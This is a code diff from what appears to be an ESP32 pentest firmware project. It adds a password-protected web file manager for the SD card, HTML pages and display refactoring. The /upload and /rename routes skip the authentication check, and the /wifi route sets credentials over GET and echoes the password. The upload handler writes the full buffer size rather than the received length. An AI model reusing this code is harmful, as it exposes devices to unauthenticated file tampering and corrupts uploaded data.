+ returnText += "" + String(foundfile.name());
+ if (String(foundfile.name()).substring(String(foundfile.name()).lastIndexOf('.') + 1).equalsIgnoreCase("bin")) returnText+= "  ";
+ returnText += " \n";
+ returnText += "" + humanReadableSize(foundfile.size()) + " \n";
+ returnText += "   \n";
+ returnText += "   \n";
+ returnText += " \n\n";
+ } else {
+ returnText += "File: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
+ }
+ }
+ foundfile = root.openNextFile();
+ }
+ root.close();
+ foundfile.close();
+
+ if (ishtml) {
+ returnText += "
";
+ }
+
+ return returnText;
+}
+
+/**********************************************************************
+** Function: processor
+** parses and processes webpages if the webpage has %SOMETHING%
+** or %SOMETHINGELSE% it will replace those strings with the ones defined
+**********************************************************************/
+
+String processor(const String& var) {
+ String processedHtml = var;
+ processedHtml.replace("%FIRMWARE%", String(BRUCE_VERSION));
+ processedHtml.replace("%FREESD%", humanReadableSize(SD.totalBytes() - SD.usedBytes()));
+ processedHtml.replace("%USEDSD%", humanReadableSize(SD.usedBytes()));
+ processedHtml.replace("%TOTALSD%", humanReadableSize(SD.totalBytes()));
+
+ return processedHtml;
+}
+
+
+/**********************************************************************
+** Function: checkUserWebAuth
+** used by server->on functions to discern whether a user has the correct
+** httpapitoken OR is authenticated by username and password
+**********************************************************************/
+bool checkUserWebAuth() {
+ bool isAuthenticated = false;
+ if (server->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) {
+ isAuthenticated = true;
+ }
+ return isAuthenticated;
+}
+
+
+
+/**********************************************************************
+** Function: handleUpload
+** handles uploads to the filserver
+**********************************************************************/
+void handleFileUpload() {
+ HTTPUpload& upload = server->upload();
+ String filename = upload.filename;
+ if (upload.status == UPLOAD_FILE_START) {
+ if (!filename.startsWith("/")) filename = "/" + filename;
+ if (uploadFolder != "/") filename = uploadFolder + filename;
+ uploadFile = SD.open(filename, "w");
+ Serial.println("Upload Start: " + filename);
+ } else if (upload.status == UPLOAD_FILE_WRITE) {
+ if (uploadFile)
+ uploadFile.write(upload.buf, sizeof(upload.buf));
+ } else if (upload.status == UPLOAD_FILE_END) {
+ if (uploadFile) {
+ uploadFile.close();
+ Serial.println("Upload End: " + filename);
+ server->sendHeader("Location", "/"); // Redireciona para a raiz
+ server->send(303);
+ }
+ }
+}
+
+
+/**********************************************************************
+** Function: configureWebServer
+** configure web server
+**********************************************************************/
+void configureWebServer() {
+ MDNS.begin(host);
+
+ // Configura rota padrão para arquivo não encontrado
+ server->onNotFound([]() {
+ server->send(404, "text/html", "Nothing in here, sharky!");
+ });
+
+ // Visitar esta página fará com que você seja solicitado a se autenticar
+ server->on("/logout", HTTP_GET, []() {
+ server->sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
+ server->sendHeader("Location", "/logged-out", true); // Redireciona para a página de login
+ server->requestAuthentication();
+ server->send(302); // Código de status para redirecionamento
+ });
+
+ // Página que apresenta que você está desconectado
+ server->on("/logged-out", HTTP_GET, []() {
+ String logMessage = "Cliente desconectado.";
+ Serial.println(logMessage);
+ server->send(200, "text/html", logout_html);
+ });
+
+ // Uploadfile handler
+ server->on("/upload", HTTP_POST, []() {
+ server->send(200, "text/plain", "Upload iniciado");
+ }, handleFileUpload);
+
+ // Index page
+ server->on("/", HTTP_GET, []() {
+ if (checkUserWebAuth()) {
+ server->send(200, "text/html", processor(index_html));
+ } else {
+ server->requestAuthentication();
+ }
+ });
+
+ // Index page
+ server->on("/Oc34N", HTTP_GET, []() {
+ if (checkUserWebAuth()) {
+ server->send(200, "text/html", processor(page_404));
+ } else {
+ server->requestAuthentication();
+ }
+ });
+
+ // Route to rename a file
+ server->on("/rename", HTTP_POST, []() {
+ if (server->hasArg("fileName") && server->hasArg("filePath")) {
+ String fileName = server->arg("fileName").c_str();
+ String filePath = server->arg("filePath").c_str();
+ String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName;
+ if(!SD.begin()) {
+ sdcardMounted=false;
+ server->send(200, "text/plain", "Fail starting SD Card.");
+ }
+ else {
+ // Rename the file of folder
+ if (SD.rename(filePath, filePath2)) {
+ server->send(200, "text/plain", filePath + " renamed to " + filePath2);
+ } else {
+ server->send(200, "text/plain", "Fail renaming file.");
+ }
+ }
+ }
+ });
+
+ // Reinicia o ESP
+ server->on("/reboot", HTTP_GET, []() {
+ if (checkUserWebAuth()) {
+ ESP.restart();
+ } else {
+ server->requestAuthentication();
+ }
+ });
+
+ // List files of the SD Card
+ server->on("/listfiles", HTTP_GET, []() {
+ if (checkUserWebAuth()) {
+ String folder = "/";
+ if (server->hasArg("folder")) {
+ folder = server->arg("folder");
+ }
+ server->send(200, "text/plain", listFiles(true, folder));
+ } else {
+ server->requestAuthentication();
+ }
+ });
+
+ // define route to handle download, create folder and delete
+ server->on("/file", HTTP_GET, []() {
+ if (checkUserWebAuth()) {
+ if (server->hasArg("name") && server->hasArg("action")) {
+ String fileName = server->arg("name").c_str();
+ String fileAction = server->arg("action").c_str();
+ log_i("filename: %s", fileName);
+ log_i("fileAction: %s", fileAction);
+
+ if (!SD.exists(fileName)) {
+ if (strcmp(fileAction.c_str(), "create") == 0) {
+ if (SD.mkdir(fileName)) {
+ server->send(200, "text/plain", "Created new folder: " + String(fileName));
+ } else {
+ server->send(200, "text/plain", "FAIL creating folder: " + String(fileName));
+ }
+ } else server->send(400, "text/plain", "ERROR: file does not exist");
+
+ } else {
+ if (strcmp(fileAction.c_str(), "download") == 0) {
+ File downloadFile = SD.open(fileName, FILE_READ);
+ if (downloadFile) {
+ String contentType = "application/octet-stream";
+ server->setContentLength(downloadFile.size());
+ server->sendHeader("Content-Type", contentType, true);
+ server->sendHeader("Content-Disposition", "attachment; filename=\"" + String(downloadFile.name()) + "\"");
+ server->streamFile(downloadFile, contentType);
+ downloadFile.close();
+ } else {
+ server->send(500, "text/plain", "Failed to open file for reading");
+ }
+ } else if (strcmp(fileAction.c_str(), "delete") == 0) {
+ if (deleteFromSd(fileName)) {
+ server->send(200, "text/plain", "Deleted : " + String(fileName));
+ } else {
+ server->send(200, "text/plain", "FAIL deleting: " + String(fileName));
+ }
+ } else if (strcmp(fileAction.c_str(), "create") == 0) {
+ if (SD.mkdir(fileName)) {
+ server->send(200, "text/plain", "Created new folder: " + String(fileName));
+ } else {
+ server->send(200, "text/plain", "FAIL creating folder: " + String(fileName));
+ }
+ } else {
+ server->send(400, "text/plain", "ERROR: invalid action param supplied");
+ }
+ }
+ } else {
+ server->send(400, "text/plain", "ERROR: name and action params required");
+ }
+ } else {
+ server->requestAuthentication();
+ }
+ });
+
+ // Configuração de Wi-Fi via página web
+ server->on("/wifi", HTTP_GET, []() {
+ if (checkUserWebAuth()) {
+ if (server->hasArg("usr") && server->hasArg("pwd")) {
+ const char *ssid = server->arg("usr").c_str();
+ const char *pwd = server->arg("pwd").c_str();
+ SD.remove(fileconf);
+ File file = SD.open(fileconf, FILE_WRITE);
+ file.print(String(ssid) + ";" + String(pwd) + ";\n");
+ config.httpuser = ssid;
+ config.httppassword = pwd;
+ file.print("#ManagerUser;ManagerPassword;");
+ file.close();
+ server->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd));
+ }
+ } else {
+ server->requestAuthentication();
+ }
+ });
+ server->begin();
+}
+/**********************************************************************
+** Function: startWebUi
+** Start the WebUI
+**********************************************************************/
+void startWebUi(bool mode_ap) {
+
+ config.httpuser = default_httpuser;
+ config.httppassword = default_httppassword;
+ config.webserverporthttp = default_webserverporthttp;
+
+ if(setupSdCard()) {
+ if(SD.exists(fileconf)) {
+ Serial.println("File Exists, reading " + fileconf);
+ File file = SD.open(fileconf, FILE_READ);
+ if(file) {
+ default_httpuser = readLineFromFile(file);
+ default_httppassword = readLineFromFile(file);
+ config.httpuser = default_httpuser;
+ config.httppassword = default_httppassword;
+
+ file.close();
+ }
+ }
+ else {
+ File file = SD.open(fileconf, FILE_WRITE);
+ file.print( default_httpuser + ";" + default_httppassword + ";\n");
+ file.print("#ManagerUser;ManagerPassword;");
+ file.close();
+ }
+ }
+
+ if (WiFi.status() != WL_CONNECTED) {
+ // Choose wifi access mode
+ wifiConnectMenu(mode_ap);
+ }
+
+ // configure web server
+ Serial.println("Configuring Webserver ...");
+ server = (WebServer*)malloc(sizeof(WebServer));
+ new (server) WebServer(config.webserverporthttp);
+
+ configureWebServer();
+
+ tft.fillScreen(bruceConfig.bgColor);
+ tft.drawRoundRect(5,5,tftWidth-10,tftHeight-10,5,ALCOLOR);
+ setTftDisplay(0,0,ALCOLOR,FM);
+ tft.drawCentreString("BRUCE WebUI",tftWidth/2,7,1);
+ String txt;
+ if(!mode_ap) txt = WiFi.localIP().toString();
+ else txt = WiFi.softAPIP().toString();
+ tft.setTextColor(bruceConfig.priColor);
+
+#ifndef STICK_C
+ tft.drawCentreString("http://bruce.local", tftWidth/2,25,1);
+ setTftDisplay(7,47);
+#else
+ tft.drawCentreString("http://bruce.local", tftWidth/2,17,1);
+ setTftDisplay(7,26);
+#endif
+ tft.setTextSize(FM);
+ tft.print("IP: "); tft.println(txt);
+ tft.setCursor(7,tft.getCursorY());
+ tft.println("Usr: " + String(default_httpuser));
+ tft.setCursor(7,tft.getCursorY());
+ tft.println("Pwd: " + String(default_httppassword));
+ tft.setCursor(7,tft.getCursorY());
+ tft.setTextColor(TFT_RED);
+ tft.setTextSize(FP);
+
+ #ifdef CARDPUTER
+ tft.drawCentreString("press Esc to stop", tftWidth/2,tftHeight-15,1);
+ #else
+ tft.drawCentreString("press Pwr to stop", tftWidth/2,tftHeight-15,1);
+ #endif
+
+ disableCore0WDT();
+ disableCore1WDT();
+ disableLoopWDT();
+ while (!checkEscPress()) {
+ server->handleClient();
+ // nothing here, just to hold the screen until the server is on.
+ }
+ server->close();
+ server->~WebServer();
+ free(server);
+ server = nullptr;
+ MDNS.end();
+
+ delay(100);
+ wifiDisconnect();
+
+}
\ No newline at end of file
diff --git a/html/WebServer/webInterface.h b/html/WebServer/webInterface.h
new file mode 100644
index 00000000..23053215
--- /dev/null
+++ b/html/WebServer/webInterface.h
@@ -0,0 +1,499 @@
+
+#include
+#include
+#include
+#include
+#include
+
+// function defaults
+String humanReadableSize(uint64_t bytes);
+String listFiles(bool ishtml, String folder);
+String processor(const String& var);
+String readLineFromFile(File myFile);
+
+void loopOptionsWebUi();
+
+void configureWebServer();
+void startWebUi(bool mode_ap = false);
+
+const char index_html[] PROGMEM = R"rawliteral(
+
+
+
+
+
+
+
+
+
+
+
+
+
BRUCE Firmware
+
Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.
+
Firmware version: %FIRMWARE%
+
Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%
+
+
+
Reboot
+
Usr/Pass
+
SD Files
+
+
+
+
+
+
+
+
+
+
+
+
+)rawliteral";
+
+const char logout_html[] PROGMEM = R"rawliteral(
+
+
+
+
+
+
+
+
+
+
+
+)rawliteral";
+
+
+const char page_404[] PROGMEM = R"rawliteral(
+
+
+)rawliteral";
\ No newline at end of file
diff --git a/html/WebUI.html b/html/WebUI.html
new file mode 100644
index 00000000..f9888d7e
--- /dev/null
+++ b/html/WebUI.html
@@ -0,0 +1,600 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
BRUCE Firmware
+
Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.
+
Firmware version: %FIRMWARE%
+
SD Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%
+
LittleFS Free Storage: %FREELittleFS% | Used: %USEDLittleFS% | Total: %TOTALLittleFS%
+
+
+
Reboot
+
Usr/Pass
+
SD Files
+
LittleFS
+
+
+
+
+
+
+
+
Drag and drop files here
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/core/menu_items/MenuItemInterface.h b/include/MenuItemInterface.h
similarity index 81%
rename from src/core/menu_items/MenuItemInterface.h
rename to include/MenuItemInterface.h
index eaa65d48..bfdc3ce3 100644
--- a/src/core/menu_items/MenuItemInterface.h
+++ b/include/MenuItemInterface.h
@@ -1,7 +1,7 @@
#ifndef __MENU_ITEM_INTERFACE_H__
#define __MENU_ITEM_INTERFACE_H__
-#include "core/globals.h"
+#include
#include "core/display.h"
@@ -21,7 +21,7 @@ class MenuItemInterface {
void drawArrows(float scale = 1) {
tft.fillRect(arrowAreaX, iconAreaY, arrowAreaW, iconAreaH, bruceConfig.bgColor);
- tft.fillRect(WIDTH - arrowAreaX - arrowAreaW, iconAreaY, arrowAreaW, iconAreaH, bruceConfig.bgColor);
+ tft.fillRect(tftWidth - arrowAreaX - arrowAreaW, iconAreaY, arrowAreaW, iconAreaH, bruceConfig.bgColor);
int arrowSize = scale * 10;
int lineWidth = scale * 3;
@@ -31,7 +31,7 @@ class MenuItemInterface {
// Left Arrow
tft.drawWideLine(
- arrowX,
+ arrowX,
arrowY,
arrowX + arrowSize,
arrowY + arrowSize,
@@ -51,18 +51,18 @@ class MenuItemInterface {
// Right Arrow
tft.drawWideLine(
- WIDTH - arrowX,
+ tftWidth - arrowX,
arrowY,
- WIDTH - arrowX - arrowSize,
+ tftWidth - arrowX - arrowSize,
arrowY + arrowSize,
lineWidth,
bruceConfig.priColor,
bruceConfig.bgColor
);
tft.drawWideLine(
- WIDTH - arrowX,
+ tftWidth - arrowX,
arrowY,
- WIDTH - arrowX - arrowSize,
+ tftWidth - arrowX - arrowSize,
arrowY - arrowSize,
lineWidth,
bruceConfig.priColor,
@@ -76,7 +76,7 @@ class MenuItemInterface {
tft.setTextSize(FM);
tft.fillRect(
arrowAreaX, titleY,
- WIDTH - 2*arrowAreaX, LH*FM,
+ tftWidth - 2*arrowAreaX, LH*FM,
bruceConfig.bgColor
);
tft.drawCentreString(getName(), iconCenterX, titleY, 1);
@@ -86,14 +86,14 @@ class MenuItemInterface {
String _name = "";
int iconAreaH = (
- (HEIGHT - 2*BORDER_PAD_Y) % 2 == 0
- ? HEIGHT - 2*BORDER_PAD_Y
- : HEIGHT - 2*BORDER_PAD_Y + 1
+ (tftHeight - 2*BORDER_PAD_Y) % 2 == 0
+ ? tftHeight - 2*BORDER_PAD_Y
+ : tftHeight - 2*BORDER_PAD_Y + 1
);
int iconAreaW = iconAreaH;
- int iconCenterX = WIDTH/2;
- int iconCenterY = HEIGHT/2;
+ int iconCenterX = tftWidth/2;
+ int iconCenterY = tftHeight/2;
int iconAreaX = iconCenterX - iconAreaW/2;
int iconAreaY = iconCenterY - iconAreaH/2;
diff --git a/src/core/VectorDisplay.h b/include/VectorDisplay.h
old mode 100755
new mode 100644
similarity index 96%
rename from src/core/VectorDisplay.h
rename to include/VectorDisplay.h
index d11d1d2b..6466b4f1
--- a/src/core/VectorDisplay.h
+++ b/include/VectorDisplay.h
@@ -1,1357 +1,1357 @@
-#ifndef _VECTOR_DISPLAY_H
-#define _VECTOR_DISPLAY_H
-
-#ifndef ARDUINO
-#define NO_SERIAL
-#include
-#define pgm_read_byte_near(a) (*(uint8_t*)(a))
-
-#include
-#include
-
-typedef std::string String;
-
-uint32_t millis() {
- struct timeb t;
- ftime(&t);
- return t.millitm + t.time * 1000;
-}
-
-class Print {
-public:
- virtual size_t write(uint8_t c) = 0;
- virtual size_t write(const uint8_t* s, size_t length) {
- size_t wrote = 0;
- while (length > 0) {
- size_t b = write(*s++);
- if (b <= 0)
- break;
- b++;
- length--;
- }
- return wrote;
- }
-
- virtual size_t write(const char* s) {
- return write((uint8_t*)s, strlen(s));
- }
-};
-
-class Stream : public Print {
-public:
- virtual int read() = 0;
- virtual int available() = 0;
-};
-
-#else
-#include
-#endif
-
-#ifdef ESP8266
-# include
-#endif
-
-#define VECTOR_DISPLAY_MESSAGE_SIZE 8
-#define VECTOR_DISPLAY_MAX_STRING 256
-
-#define VECTOR_DISPLAY_DEFAULT_WIDTH 240
-#define VECTOR_DISPLAY_DEFAULT_HEIGHT 320
-
-#define ALIGN_LEFT 'l'
-#define ALIGN_RIGHT 'r'
-#define ALIGN_CENTER 'c'
-#define ALIGN_TOP 't'
-#define ALIGN_BOTTOM 'b'
-#define ALIGN_BASELINE 'l'
-
-#ifndef VECTOR_DISPLAY_SEND_DELAY
-#define VECTOR_DISPLAY_SEND_DELAY 0
-#endif
-
-#define TFT_BLACK 0x0000 /* 0, 0, 0 */
-#define TFT_NAVY 0x000F /* 0, 0, 128 */
-#define TFT_DARKGREEN 0x03E0 /* 0, 128, 0 */
-#define TFT_DARKCYAN 0x03EF /* 0, 128, 128 */
-#define TFT_MAROON 0x7800 /* 128, 0, 0 */
-#define TFT_PURPLE 0x780F /* 128, 0, 128 */
-#define TFT_OLIVE 0x7BE0 /* 128, 128, 0 */
-#define TFT_LIGHTGREY 0xC618 /* 192, 192, 192 */
-#define TFT_DARKGREY 0x7BEF /* 128, 128, 128 */
-#define TFT_BLUE 0x001F /* 0, 0, 255 */
-#define TFT_GREEN 0x07E0 /* 0, 255, 0 */
-#define TFT_CYAN 0x07FF /* 0, 255, 255 */
-#define TFT_RED 0xF800 /* 255, 0, 0 */
-#define TFT_MAGENTA 0xF81F /* 255, 0, 255 */
-#define TFT_YELLOW 0xFFE0 /* 255, 255, 0 */
-#define TFT_WHITE 0xFFFF /* 255, 255, 255 */
-#define TFT_ORANGE 0xFD20 /* 255, 165, 0 */
-#define TFT_GREENYELLOW 0xAFE5 /* 173, 255, 47 */
-#define TFT_PINK 0xF81F
-
-// Color definitions for backwards compatibility
-#define ILI9341_BLACK 0x0000 /* 0, 0, 0 */
-#define ILI9341_NAVY 0x000F /* 0, 0, 128 */
-#define ILI9341_DARKGREEN 0x03E0 /* 0, 128, 0 */
-#define ILI9341_DARKCYAN 0x03EF /* 0, 128, 128 */
-#define ILI9341_MAROON 0x7800 /* 128, 0, 0 */
-#define ILI9341_PURPLE 0x780F /* 128, 0, 128 */
-#define ILI9341_OLIVE 0x7BE0 /* 128, 128, 0 */
-#define ILI9341_LIGHTGREY 0xC618 /* 192, 192, 192 */
-#define ILI9341_DARKGREY 0x7BEF /* 128, 128, 128 */
-#define ILI9341_BLUE 0x001F /* 0, 0, 255 */
-#define ILI9341_GREEN 0x07E0 /* 0, 255, 0 */
-#define ILI9341_CYAN 0x07FF /* 0, 255, 255 */
-#define ILI9341_RED 0xF800 /* 255, 0, 0 */
-#define ILI9341_MAGENTA 0xF81F /* 255, 0, 255 */
-#define ILI9341_YELLOW 0xFFE0 /* 255, 255, 0 */
-#define ILI9341_WHITE 0xFFFF /* 255, 255, 255 */
-#define ILI9341_ORANGE 0xFD20 /* 255, 165, 0 */
-#define ILI9341_GREENYELLOW 0xAFE5 /* 173, 255, 47 */
-#define ILI9341_PINK 0xF81F
-
-#define MESSAGE_DOWN 'D'
-#define MESSAGE_UP 'U'
-#define MESSAGE_MOVE 'M'
-#define MESSAGE_BUTTON 'B'
-#define MESSAGE_ACK 'A'
-
-//These enumerate the text plotting alignment (reference datum point)
-#define TL_DATUM 0 // Top left (default)
-#define TC_DATUM 1 // Top centre
-#define TR_DATUM 2 // Top right
-#define ML_DATUM 3 // Middle left
-#define CL_DATUM 3 // Centre left, same as above
-#define MC_DATUM 4 // Middle centre
-#define CC_DATUM 4 // Centre centre, same as above
-#define MR_DATUM 5 // Middle right
-#define CR_DATUM 5 // Centre right, same as above
-#define BL_DATUM 6 // Bottom left
-#define BC_DATUM 7 // Bottom centre
-#define BR_DATUM 8 // Bottom right
-#define L_BASELINE 9 // Left character baseline (Line the 'A' character would sit on)
-#define C_BASELINE 10 // Centre character baseline
-#define R_BASELINE 11 // Right character baseline
-
-typedef uint32_t FixedPoint32;
-#define TO_FP32(f) ((uint32_t)((f)*65536. + 0.5))
-
-struct VectorDisplayMessage {
- char what;
- char what2;
- union {
- uint8_t button;
- struct {
- int16_t x;
- int16_t y;
- } xy;
- } data;
-} __attribute__((packed));
-
-class VectorDisplayClass : public Print {
-private:
- static const uint32_t MAX_BUFFER = (uint32_t)1024*256;
- static const uint32_t MESSAGE_TIMEOUT = 3000;
- static const uint8_t FLAG_LOW_ENDIAN_BITS = 1;
- static const uint8_t FLAG_HAVE_MASK = 2;
- static const uint8_t FLAG_PAD_BYTE = 4;
- static const uint8_t FLAG_LOW_ENDIAN_BYTES = 8;
-
- bool waitForAck = true;
- int gfxFontSize = 1;
- int curx = 0;
- int cury = 0;
- int readPos = 0;
- int32_t curForeColor565 = -1;
- uint32_t lastMessageStart = 0;
- int pointerX;
- int pointerY;
- int curWidth = VECTOR_DISPLAY_DEFAULT_WIDTH;
- int curHeight = VECTOR_DISPLAY_DEFAULT_HEIGHT;
- uint8_t curRotation = 0;
- bool pointerDown = false;
- bool wrap = 1;
- bool fixCP437 = true;
- uint16_t polyLineCount;
- uint8_t polyLineSum;
- uint32_t delayTime = 0;
-
- uint8_t readBuf[VECTOR_DISPLAY_MESSAGE_SIZE];
- union {
- uint32_t color;
- uint16_t twoByte[9];
- struct {
- uint16_t x;
- uint16_t y;
- char text[VECTOR_DISPLAY_MAX_STRING+1];
- } __attribute__((packed)) xyText;
- struct {
- uint16_t endianness;
- uint16_t width;
- uint16_t height;
- FixedPoint32 aspectRatio;
- uint16_t reserved[3];
- } __attribute__((packed)) initialize;
- struct {
- uint8_t c;
- char text[VECTOR_DISPLAY_MAX_STRING+1];
- } __attribute__((packed)) charText;
- struct {
- uint16_t width;
- uint16_t height;
- } __attribute__((packed)) coords;
- struct {
- char attr;
- uint8_t value;
- } __attribute__((packed)) attribute8;
- struct {
- char attr;
- uint16_t value;
- } __attribute__((packed)) attribute16;
- struct {
- char attr;
- uint32_t value;
- } __attribute__((packed)) attribute32;
- struct {
- uint32_t length;
- uint8_t depth;
- uint8_t flags;
- uint16_t x;
- uint16_t y;
- uint16_t w;
- uint16_t h;
- uint32_t foreColor; // only if depth==1
- uint32_t backColor; // only if depth==1
- } __attribute__((packed)) bitmap;
- struct {
- uint16_t x1;
- uint16_t y1;
- uint16_t x2;
- uint16_t y2;
- uint16_t r;
- uint8_t filled;
- } __attribute__((packed)) roundedRectangle;
- struct {
- uint16_t x;
- uint16_t y;
- uint16_t r;
- FixedPoint32 angle1;
- FixedPoint32 sweep;
- uint8_t filled;
- } __attribute__((packed)) arc;
- struct {
- char attr;
- uint16_t values[2];
- } __attribute__((packed)) attribute16x2;
- uint8_t bytes[VECTOR_DISPLAY_MAX_STRING+1];
- char text[VECTOR_DISPLAY_MAX_STRING+1];
- } args;
- uint32_t lastSend = 0;
-
-private:
- inline void sendDelay() {
- if (delayTime>0) {
- while(millis()-lastSend < delayTime) ;
- lastSend = millis();
- }
- }
-
-public:
- int textsize = 1;
- uint32_t textcolor = TFT_WHITE;
- uint32_t textbgcolor = TFT_BLACK;
-
- void setWaitForAck(bool wait) {
- waitForAck = wait;
- }
-
- void setDelay(uint32_t delayMillis) {
- delayTime = delayMillis;
- lastSend = millis();
- }
-
- virtual void remoteFlush() {
- /*while(remoteAvailable())
- remoteRead();
- * */
- }
- virtual int remoteRead() = 0; // must be non-blocking
- virtual void remoteWrite(uint8_t c) = 0;
- virtual void remoteWrite(const void* data, size_t n) = 0;
- virtual size_t remoteAvailable() = 0;
-
- void attribute8(char a, uint8_t value) {
- args.attribute8.attr = a;
- args.attribute8.value = value;
- sendCommand('Y', &args, 2);
- }
-
- void attribute8(char a, bool value) {
- args.attribute8.attr = a;
- args.attribute8.value = value ? 1 : 0;
- sendCommand('Y', &args, 2);
- }
-
- void attribute16(char a, uint16_t value) {
- args.attribute16.attr = a;
- args.attribute16.value = value;
- sendCommand('A', &args, 3);
- }
-
- void attribute32(char a, uint32_t value) {
- args.attribute32.attr = a;
- args.attribute32.value = value;
- sendCommand('B', &args, 5);
- }
-
- void sendCommand(char c, const void* arguments, int argumentsLength) {
- sendDelay();
- remoteWrite(c);
- remoteWrite(c^0xFF);
- if (argumentsLength > 0)
- remoteWrite((uint8_t*)arguments, argumentsLength);
- uint8_t sum = 0;
- for (int i = 0; i 0)
- s += *p++;
- return s;
- }
-
- void startPoly(char c, uint16_t n) {
- polyLineCount = n;
- remoteWrite(c);
- remoteWrite(c^0xFF);
- args.twoByte[0] = n;
- remoteWrite((uint8_t*)&args, 2);
- polyLineSum = args.bytes[0] + args.bytes[1];
- }
-
- void startFillPoly(uint16_t n) {
- startPoly('N', n);
- }
-
- void startPolyLine(uint16_t n) {
- startPoly('O', n);
- }
-
- void addPolyLine(int16_t x, int16_t y) {
- if (polyLineCount>0) {
- args.twoByte[0] = x;
- args.twoByte[1] = y;
- remoteWrite((uint8_t*)&args, 4);
- polyLineSum += args.bytes[0] + args.bytes[1] + args.bytes[2] + args.bytes[3];
- polyLineCount--;
- if (polyLineCount == 0) {
- remoteWrite(0xFF^polyLineSum);
- }
- }
- }
-
- void line(int x1, int y1, int x2, int y2) {
- args.twoByte[0] = x1;
- args.twoByte[1] = y1;
- args.twoByte[2] = x2;
- args.twoByte[3] = y2;
- sendCommand('L', &args, 8);
- }
-
- void fillRectangle(int x1, int y1, int x2, int y2) {
- args.twoByte[0] = x1;
- args.twoByte[1] = y1;
- args.twoByte[2] = x2;
- args.twoByte[3] = y2;
- sendCommand('R', &args, 8);
- }
-
- void rectangle(int x1, int y1, int x2, int y2, bool fill=false) {
- if (fill)
- fillRectangle(x1,y1,x2,y2);
- else {
- startPolyLine(4);
- addPolyLine(x1,y1);
- addPolyLine(x2,y1);
- addPolyLine(x2,y2);
- addPolyLine(x1,y2);
- }
- }
-
- void roundedRectangle(int x1, int y1, int x2, int y2, int r, bool fill) {
- args.roundedRectangle.filled = fill ? 1 : 0;
- args.roundedRectangle.x1 = x1;
- args.roundedRectangle.x2 = x2;
- args.roundedRectangle.y1 = y1;
- args.roundedRectangle.y2 = y2;
- args.roundedRectangle.r = r;
- sendCommand('Q', &args, 11);
- }
-
- void roundedRectangle(int x1, int y1, int x2, int y2, int r) {
- roundedRectangle(x1,y1,x2,y2,r,false);
- }
-
- void fillRoundedRectangle(int x1, int y1, int x2, int y2, int r) {
- roundedRectangle(x1,y1,x2,y2,r,true);
- }
-
- void fillTriangle(int x1, int y1, int x2, int y2, int x3, int y3) {
- args.twoByte[0] = x1;
- args.twoByte[1] = y1;
- args.twoByte[2] = x2;
- args.twoByte[3] = y2;
- args.twoByte[4] = x3;
- args.twoByte[5] = y3;
- sendCommand('G', &args, 12);
- }
-
-/* void initialize() {
- args.twoByte[0] = 0x1234; // endianness detector
- args.twoByte[1] = 0;
- sendCommandWithAck('H', &args, 4);
- } */
-
- void initialize(int w=VECTOR_DISPLAY_DEFAULT_WIDTH, int h=VECTOR_DISPLAY_DEFAULT_HEIGHT) {
- args.initialize.endianness = 0x1234; // endianness detector
- args.initialize.width = w;
- args.initialize.height = h;
- args.initialize.aspectRatio = TO_FP32(1.);
- args.initialize.reserved[0] = 0;
- args.initialize.reserved[1] = 0;
- args.initialize.reserved[2] = 0;
- curWidth = w;
- curHeight = h;
-
- sendCommandWithAck('Z', &args, 16);
- }
-
- void fillCircle(int x, int y, int r) {
- args.twoByte[0] = x;
- args.twoByte[1] = y;
- args.twoByte[2] = r;
- sendCommand('J', &args, 6);
- }
-
- void circle(int x, int y, int r) {
- args.twoByte[0] = x;
- args.twoByte[1] = y;
- args.twoByte[2] = r;
- sendCommand('I', &args, 6);
- }
-
- void point(int x, int y) {
- args.twoByte[0] = x;
- args.twoByte[1] = y;
- sendCommand('P', &args, 4);
- }
-
- void arc(int x, int y, int r, FixedPoint32 angle1, FixedPoint32 sweep, bool fill=false) {
- args.arc.x = x;
- args.arc.y = y;
- args.arc.r = r;
- args.arc.angle1 = angle1;
- args.arc.sweep = sweep;
- args.arc.filled = fill ? 1 : 0;
- sendCommand('S', &args, 15);
- }
-
- void arc(int x, int y, int r, float angle1, float sweep, bool fill=false) {
- arc(x,y,r,TO_FP32(angle1),TO_FP32(sweep),fill);
- }
-
- // 32-bit fixed point
- void textSize(FixedPoint32 s) {
- args.attribute32.attr = 's';
- args.attribute32.value = s;
- sendCommand('B', &args, 5);
- }
-
- void text(int x, int y, const char* str, int n) {
- args.xyText.x = x;
- args.xyText.y = y;
- if (n>VECTOR_DISPLAY_MAX_STRING)
- n = VECTOR_DISPLAY_MAX_STRING;
- strncpy(args.xyText.text, str, n);
-
- if (fixCP437) {
- for (int i=0;i=176)
- args.xyText.text[i]++;
- }
- }
- args.xyText.text[n] = 0;
- sendCommand('T', &args, 4+strlen(args.xyText.text)+1);
- }
-
- void text(int x, int y, const char* str) {
- text(x, y, str, strlen(str));
- }
-
- void text(int x, int y, String str) {
- text(x,y,str.c_str(), str.length());
- }
-
- void deleteButton(uint8_t command) {
- sendCommand('D', &command, 1);
- }
-
- void addButton(uint8_t command, const char* str) {
- args.charText.c = command;
- strncpy(args.charText.text, str, VECTOR_DISPLAY_MAX_STRING);
- args.charText.text[VECTOR_DISPLAY_MAX_STRING] = 0;
- sendCommand('U', &args, 1+strlen(args.charText.text)+1);
- }
-
- void addButton(uint8_t command, String str) {
- addButton(command, str.c_str());
- }
-
- void toast(const char* str, unsigned n) {
- if (VECTOR_DISPLAY_MAX_STRING < n)
- n = VECTOR_DISPLAY_MAX_STRING;
- strncpy(args.text, str, n);
- args.text[n] = 0;
- sendCommand('M', &args, n+1);
- }
-
- void toast(const char* str) {
- toast(str, strlen(str));
- }
-
- void toast(String text) {
- toast(text.c_str(), text.length());
- }
-
- void foreColor(uint32_t color) {
- args.attribute32.attr = 'f';
- args.attribute32.value = color;
- sendCommand('B', &args, 5);
- curForeColor565 = -1;
- }
-
- void backColor(uint32_t color) {
